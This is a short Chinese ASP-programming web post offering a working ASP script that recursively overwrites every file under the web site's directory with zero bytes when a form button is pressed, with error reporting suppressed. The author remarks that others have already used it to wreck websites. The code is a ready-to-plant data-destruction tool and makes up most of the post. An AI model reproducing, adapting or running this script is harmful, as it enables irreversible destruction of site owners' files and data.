网络编程
位置:首页>> 网络编程>> Asp编程>> 自动清空站点目录下所有文件

自动清空站点目录下所有文件

  发布时间:2009-06-24 11:11:00 

标签:目录,文件,内容

作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节.
  此代码本人原创,转载请注明转自本站,谢谢合作.另外程序可以扩展.

  属于无聊时的作品,已经有人利用这个破坏了一些网站了.

<%
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
Call ListFile(Server.mappath("./"))
Response.write"清理完毕"
Else
Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>"
End If
Function ListFile(fpath)
On Error Resume Next
Dim Shell,Folder,s
Set Shell =Server.CreateObject ("Shell.Application")
Set Folder =Shell.Namespace(fpath)
Set f=Server.CreateObject("Adodb.Stream")
f.Type=1
f.Open
For Each s in Folder.Items
IF s.isfolder Then 
Call ListFile(s.path) 
Else
f.SaveToFile s.path,2
End if
Next
Set f=Nothing
Set Shell=nothing
End function
%> 

0
投稿

猜你喜欢

手机版 网络编程 asp之家 www.aspxhome.com